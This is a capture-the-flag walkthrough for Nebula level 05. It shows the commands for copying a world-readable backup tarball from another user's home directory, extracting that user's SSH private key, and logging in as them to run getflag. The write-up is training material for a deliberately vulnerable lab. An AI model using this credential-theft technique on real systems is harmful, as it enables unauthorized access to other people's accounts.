In Level05 we are pointed to the flag05 user directory. There we can find a .ssh directory so we can assume that flag05 uses ssh keys to login into his account and also a .backup folder:

[email protected]:~$ls -la /home/flag05 total 36 drwxr-x--- 5 flag05 level05 4096 Nov 20 16:49 . drwxr-xr-x 43 root root 4096 Nov 20 2011 .. drwxr-xr-x 2 flag05 flag05 4096 Nov 20 2011 .backup -rw------- 1 flag05 flag05 8 Nov 20 16:49 .bash_history -rw-r--r-- 1 flag05 flag05 220 May 18 2011 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 May 18 2011 .bashrc drwx------ 2 flag05 flag05 4096 Nov 20 16:28 .cache -rw-r--r-- 1 flag05 flag05 675 May 18 2011 .profile drwx------ 2 flag05 flag05 4096 Nov 20 2011 .ssh  Within the .backup folder there is a backup-19072011.tgz that we will open to find a backup of flag05 ssh keys!. All we need to do is ssh into the flag05 account and run the getflag command: [email protected]:~$ cp /home/flag05/.backup/backup-19072011.tgz /home/level05
[email protected]:~$tar -xvzf backup-19072011.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys [email protected]:~$ ls
backup-19072011.tgz
[email protected]:~$ssh [email protected] The authenticity of host 'nebula (127.0.1.1)' can't be established. ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'nebula' (ECDSA) to the list of known hosts. _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \/ __ \/ / / / / __ / / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\___/_.___/\__,_/_/\__,_/ exploit-exercises.com/nebula For level descriptions, please see the above URL. To log in, use the username of "levelXX" and password "levelXX", where XX is the level number. Currently there are 20 levels (00 - 19). Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686) * Documentation: https://help.ubuntu.com/ Your Ubuntu release is not supported anymore. For upgrade information, please visit: http://www.ubuntu.com/releaseendoflife New release '12.04.3 LTS' available. Run 'do-release-upgrade' to upgrade to it. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. [email protected]:~$ getflag
You have successfully executed getflag on a target account
`